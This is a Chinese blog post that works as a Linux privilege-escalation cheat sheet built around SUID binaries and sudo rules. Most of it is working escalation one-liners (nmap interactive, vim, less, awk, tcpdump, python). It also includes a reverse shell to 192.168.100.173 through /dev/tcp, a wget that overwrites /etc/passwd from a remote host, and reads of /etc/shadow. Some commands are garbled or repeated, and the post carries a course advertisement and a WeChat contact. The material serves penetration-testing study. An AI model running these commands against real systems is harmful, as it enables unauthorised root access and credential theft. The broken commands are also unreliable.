写点什么

记一次 Linux 安全提权总结

发布于: 2 小时前

前言:人们赞美流星,是因为它燃烧着走完自己的全部路程。

一、初识 SUID

1.suid 的简介

suid 即 set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在 Linux 下很常见。已知的可以用来提权的 Linux 可执行文件有:CopyNmap、Vim、find、Bash、More、Less、Nano、cp 比如常用的 ping 命令。ping 需要发送 ICMP 报文,而这个操作需要发送 Raw Socket。在 Linux 2.2 引入 CAPABILITIES 前,使用 Raw Socket 是需要 root 权限的(当然不是说引入 CAPABILITIES 就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里 ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个 s 位,这就是 suid:


  1. root@linux:# ls -al /bin/ping

  2. -rwsr-xr-x 1 root root 44168 May 7 2021 /bin/ping


设置了 s 位的程序在运行时,其 Effective UID 将会设置为这个程序的所有者。比如,/bin/ping 这个程序的所有者是 root,它设置了 s 位,那么普通用户在运行 ping 时其 Effective UID 就是 0,等同于拥有了 root 权限。


这里引入了一个新的概念 Effective UID。Linux 进程在运行时有三个 UID:Real UID 执行该进程的用户实际的 UID,谁通过 shell 运行就是谁 Effective UID 程序实际操作时生效的 UID,一般在进程启动时,直接由 Real UID 复制而来;或者是当进程对应的可执行文件的 suid 标志位为 s 时,为该文件的所属用户/组。所以利用 suid 文件进行提权需要 2 个前提:文件的所有者是 0 号或其他 super user 文件拥有 suid 权限在 os 层面目前常见发行版 linux 也会对 suid 的权限进行限制,具体可以参考 p 神这篇文章 ,把 suid 的提权简单抽象为一个 c 代码:


  1. int main(int argc, char* argv[]) {

  2. return system(argv[1]);

  3. }


编译并赋予 suid 权限:


  1. root@linux:/tmp# gcc suid.c -o suid

  2. root@linux:/tmp# chmod +s suid


2021最新整理网络安全\渗透测试/安全学习(全套视频、大厂面经、精品手册、必备工具包)一>点我<一

2./etc/sudoers 语法

  1. root ALL=(ALL) ALL


root 用户可以从 ALL(任何)终端执行,充当 ALL(任何)用户,并运行 ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。


touhid ALL= /sbin/poweroff
复制代码


输入 touchid 的密码,可以 sudo 执行 poweroff 命令。


touhid ALL = (root) NOPASSWD: /usr/bin/find
复制代码


不输入密码,可以 sudo 执行 find 命令。


这里引入了一个新的概念 Effective UID。Linux 进程在运行时有三个 UID:


Real UID 执行该进程的用户实际的 UID

Effective UID 程序实际操作时生效的 UID(比如写入文件时,系统会检查这个 UID 是否有权限)

Saved UID 在高权限用户降权后,保留的其原本 UID(本文中不对这个 UID 进行深入探讨)


通常情况下 Effective UID 和 Real UID 相等,所以普通用户不能写入只有 UID=0 号才可写的/etc/passwd;有 suid 的程序启动时,Effective UID 就等于二进制文件的所有者,此时 Real UID 就可能和 Effective UID 不相等了。


有的同学说某某程序只要有 suid 权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是 0 号或其他 super user,同时拥有 suid 权限,才可以提权。

2. 查找具有 SUID 权限位文件

以下命令可以找到正在系统上运行的所有 SUID 可执行文件。准确的说,这个命令将从/目录中查找具有 SUID 权限位且属主为 root 的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。


find / -user root -perm -4000 -print 2>/dev/null``find / -perm -u=s -type f 2>/dev/null``find / -user root -perm -4000 -exec ls -ldb {} ;


也可以使用 sudo -l 命令列出当前用户可执行的命令


二、常见的提权方式

1.Nmap

nmap 是一个经典的端口扫描工具,当目标主机存在版本在 2.02-5.21 之间的 nmap 且 os 的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。


nmap --interactive //进入交互模式



nmap -v //查看版本
复制代码



nmap> !sh sh-3.2# whoami root
复制代码



Metasploit 也有利用 SUID Nmap 进行提权攻击:exploit/unix/local/setuid_nmap



nmap 提权失败可能出现的原因


nmap 在高版本中限制了 suid 权限


lua 脚本中限制了 suid 权限


新版 Linux 系统对子进程的 suid 权限进行了限制

2.Find

如果 find 以 SUID 权限运行,所有通过 find 执行的命令都会以 root 权限运行。



$ find 1sh -exec bash -i >&amp; /dev/tcp/192.168.100.173/5656 0>&amp;1 \;


3.Vi/Vim

vim 是 linux 下常见的文本编辑器,但是如果 vim 被配置了 suid 权限,那么运行时就会获取高权限进而对只有 root 用户才有权限读写的文件进行操作或获取高权限 shell。在 vi/vim 中按下 esc 再输入一下内容即可获取到 root 的 shell :




vim.tiny``Press ESC key``:set shell=/bin/sh``:shell


4.bash

bash -p``id



###5.Less/More

Less 和 more 都可以执行提权的 shell

less /etc/passwd



!/bin/sh


6.python/perl/ruby/lua/php/etc

python -c "importos;os.system('/bin/bash')

7.cp 覆盖 /etc/shadow 或 /etc/passwd

8.mv

覆盖 /etc/shadow 或 /etc/passwd

9.其它方式

nano


nano /etc/passwd


awk


awk 'BEGIN {system("/bin/sh")}'


man


man passwd


!/bin/bash


wget


wget http://192.168.56.1:8080/passwd -O /etc/passwd


apache


仅可查看文件,不能弹 shell:


apache2 -f /etc/shadow


tcpdump


echo $'id\ncat /etc/shadow' > /tmp/.test


chmod +x /tmp/.test


sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root


python/perl/ruby/lua/php/etc


python


python -c "import os;os.system('/bin/bash')"


perl


exec "/bin/bash";

三、查找 SUID 权限文件

以下命令可以找到正在系统上运行的所有 SUID 可执行文件,命令将从 / 目录中查找具有 SUID 权限位且属主为 root 的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。


find / -user root -perm ``-4000``-``print``2``>/dev/null``find / -perm -u=s -type f ``2``>/dev/null``find / -user root -perm ``-4000``-exec ls -ldb {} \;


不同版本下 linux 的不同输出



Ubuntu 16.04 的不同之处就在 dash 目录


下载其中的dash_0.5.8.orig.tar.gzdash_0.5.8-2.1ubuntu2.diff.gz并分别解压,我们可以看到 dash 0.5.8 的原始代码,和 Ubuntu 对其做的 patch。


我们对原始代码进行 patch 后,会发现多了一个setprivileged函数:


void setprivileged(int on){    static int is_privileged = 1;    if (is_privileged == on)        return;    is_privileged = on;
/* * To limit bogus system(3) or popen(3) calls in setuid binaries, require * -p flag to work in this situation. */ if (!on && (uid != geteuid() || gid != getegid())) { setuid(uid); setgid(gid); /* PS1 might need to be changed accordingly. */ choose_ps1(); }}
复制代码


on的取值取决于用户是否传入了-p参数, 而 uid 和 gid 就是当前进程的 Real UID(GID)。可见,在 on 为 false,且 Real UID 不等于 Effective UID 的情况下,这里重新设置了进程的 UID:


setuid(uid)
复制代码


setuid 函数用于设置当前进程的 Effective UID,如果当前进程是 root 权限或拥有CAP_SETUID权限,则 Real UID 和 Saved UID 将被一起设置。


所以,可以看出,Ubuntu 发行版官方对 dash 进行了修改:当 dash 以 suid 权限运行、且没有指定-p选项时,将会丢弃 suid 权限,恢复当前用户权限。


这样以来,dash 在 suid 的表现上就和 bash 相同了,这也就解释了为什么在 Ubuntu 16.04 以后,我们无法直接使用 SUID+**system**()的方式来提权。


总结:suid 提权是渗透测试种经常遇到的情况,遇见的不同系统、不同环境都会有不同的提权方式,掌握多种提权方式是渗透的必备的。

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
记一次Linux安全提权总结